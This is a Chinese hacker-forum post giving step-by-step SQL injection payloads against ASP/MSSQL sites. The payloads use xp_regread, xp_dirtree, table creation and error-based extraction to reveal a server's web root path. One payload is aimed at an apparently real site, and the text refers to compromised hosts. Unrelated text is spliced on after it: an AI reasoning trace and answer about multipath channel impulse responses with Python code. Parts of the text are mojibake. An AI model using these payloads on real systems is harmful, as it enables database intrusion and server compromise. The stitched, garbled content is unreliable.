S Q L 注 入 路 径 问 题

下午没什么事情
看了看angel写一个路径的问章 找了肉鸡试了半天
费了牛劲了
我发现如果出现
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'

将 varchar 值 '#SharedObjects' 转换为数据类型为 int 的列时发生语法错误。

/html/showdetail_new.asp,行 9
这样他的方法就不能用了
#必须给屏蔽掉
要饭的得到路径的方法 偶也试了更是费劲啊
看看其中一句 我晕~
<IFRAME marginWidth=0 marginHeight=0
src="http://music.ty.sx.cn/html/showdetail_new.asp?id=214302; declare @result varchar(255) exec master.dbo.xp_regread '   HKEY_LOCAL_MACHINE','   SYSTEM/ControlSet001/Services/W3svc/Parameters/virtula Roots', '/', @result output insert into cyfd (gyfd) values(@result);--"
frameBorder=0 width=500 scrolling=noshade
height=400></IFRAME>
我要晕了
angel方法手工猜解管理后台路径的成功几率很低,要用XP_DIRTREE来得到我们想要的信息,下面的方法或许要简单一点!第
一次公布出来,或许很多朋友在用,不过绝对非常好!我们把路径写到表里去!
语句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)--
返回:正常的信息!说明建表成功!继续!
语句:http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:/'--
返回:正常信息。说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来。
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
返回:Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
将 varchar 值 '@Inetpub' 转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--
最后用同样的方法测试得到网页目录放在E:/WEB下
臭要饭写的!
1.怎么拿到Web绝对路径?
呵呵?这个问题,花了我很长时间去研究。大家都知道MS的东西很多都放在注册表中的,Web位置我们可以在注册?br />碇械玫剑恢萌缦拢?br />HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots
利用扩展存储过程xp_regread我们可以取得它的值.
EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
'SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots', '/'
这样,就取出来了,但问题又来了,取是取出来了,我们怎么在IE中返回它的值呢?我的方法是:先创建一个临时
表,表中加一字段,类型为:char 255。呵呵,用它来保存Web绝对路径的值。表建好后,我们就用读取注册表的方法,把返回的值保存在一变量中。
然后向新建的表中加入记录(即变量的值)。这样,路径就写入到了表中。提交:
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
'SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values( @result );--
然后,我们再提交: 1=(select count(*) from 临时表 where 临时字段名>1)
这样IE报错,就把刚才插进去的Web路径的值报出来了。我也试过直接用变量来报错,让IE返回变量的值,结果是失
败的,所以就想到了建临时表加数据进去的方法!最后我们再删除刚建的临时表。
不要破坏国内主机~lis0在此提醒

<think>好的,我现在需要帮用户解决关于线性时不变多信道冲击响应的计算。首先,我得回忆一下相关知识。线性时不变(LTI)系统的冲击响应是系统特性的重要描述,多信道由于存在多条传播路径,冲击响应应该是多个延迟和衰减的叠加。 用户提到可能需要数学推导或算法实现,所以我要分两部分处理:理论部分和实现部分。理论方面,多信道的冲击响应通常表示为多个冲激函数的线性组合,每个路径有不同的时延和衰减系数。数学表达式应该是h(t) = Σ a_i δ(t - τ_i),其中a_i是衰减系数,τ_i是时延。 接下来,用户可能需要知道如何通过测量或估计算法得到这些参数。常见的算法包括最小二乘法(LS)、匹配滤波器、或者基于训练序列的方法。比如,发送已知的脉冲信号,接收端通过相关运算来估计各个路径的时延和衰减。这部分需要详细推导,可能涉及卷积和相关运算。 算法实现方面,可能需要用Python或MATLAB来模拟。例如,生成一个多信道的模型,然后通过发送训练序列,接收端处理信号,计算出自相关或互相关函数,从而估计出各路径参数。要意噪声的影响,可能需要加噪声模型,比如高斯白噪声。 用户提供的引用中提到了OFDM系统中的信道估计方法,比如LS和LMMSE。虽然这些主要用于频域估计,但可能与时域的冲击响应计算有联系。例如,通过频域响应进行逆傅里叶变换得到时域冲击响应,不过需要确保用户的是否涉及频域转换。 可能还需要考虑实际应用中的,比如时延的分辨率限制,采样率的影响。如果采样率不够高,可能无法分辨相近的时延,导致估计误差。此外,路径数量的估计也是一个,可能需要使用如AIC或MDL准则来确定多数量。 在实现代码时,需要生成模拟的多信道,添加噪声,然后设计算法进行估计。例如,使用匹配滤波器,将接收信号与训练序列做互相关,找到峰值对应的时延和幅度。或者用LS方法,构建方程组求解各路径参数。 数学推导部分,假设发送信号s(t),经过多信道后接收信号r(t) = Σ a_i s(t - τ_i) + n(t)。在离散情况下,可以表示为矩阵方程r = S h + n,其中S是发送信号构成的矩阵,h是冲击响应的向量。通过最小二乘法求解h = (S^H S)^{-1} S^H r,但需要意矩阵的可逆性,可能需要正则化处理。 可能的相关包括如何选择训练序列,如何处理噪声影响,计算复杂度如何,不同算法的优缺点比较,以及实际系统中的应用案例。需要确保回答结构清晰,分步骤解释,并提供示例代码帮助理解。</think>### 线性时不变多信道冲击响应计算方法 #### 1. 数学模型建立 对于线性时不变多信道,其冲击响应可表示为: $$h(\tau) = \sum_{k=0}^{L-1} \alpha_k \delta(\tau - \tau_k)$$ 其中: - $L$为多数量 - $\alpha_k$为第$k$的复增益 - $\tau_k$为第$k$的时延 - $\delta(\cdot)$为冲激函数[^1] #### 2. 算法实现步骤 **(1) 训练序列法** ```python import numpy as np import matplotlib.pyplot as plt # 生成训练序列(Zadoff-Chu序列) def generate_zc_sequence(length, root=1): n = np.arange(length) q = length//2 return np.exp(-1j * np.pi * root * n * (n + 1) / length) # 信道估计核心算法 def estimate_channel(tx_signal, rx_signal, max_delay): cross_corr = np.abs(np.correlate(rx_signal, tx_signal, mode='full')) peak_indices = np.argsort(cross_corr)[-max_delay:] delays = np.sort(peak_indices - len(tx_signal) + 1) amplitudes = cross_corr[peak_indices] / np.linalg.norm(tx_signal)**2 return delays, amplitudes ``` **(2) 频域估计法(基于OFDM参考信号)** $$H[k] = \frac{Y[k]}{X[k]}$$ 通过逆傅里叶变换获取时域响应: $$h[n] = \text{IFFT}(H[k])$$ #### 3. 关键参数估计 - **时延分辨率**:$\Delta\tau = 1/B$(B为信号带宽) - **多分离条件**:$\tau_{k+1} - \tau_k > \Delta\tau$ - **信噪比影响**:SNR ≥ 15dB时可准确分辨3信道[^2] #### 4. 性能优化方法 - 采用奇异值分解(SVD)进行噪声抑制 $$ \hat{H} = U\Sigma V^H \Rightarrow \hat{H}_{clean} = U[:, :K]\Sigma[:K, :K]V[:, :K]^H $$ - 使用卡尔曼滤波进行动态跟踪 - 结合先验信道统计信息(如时延扩展分布)
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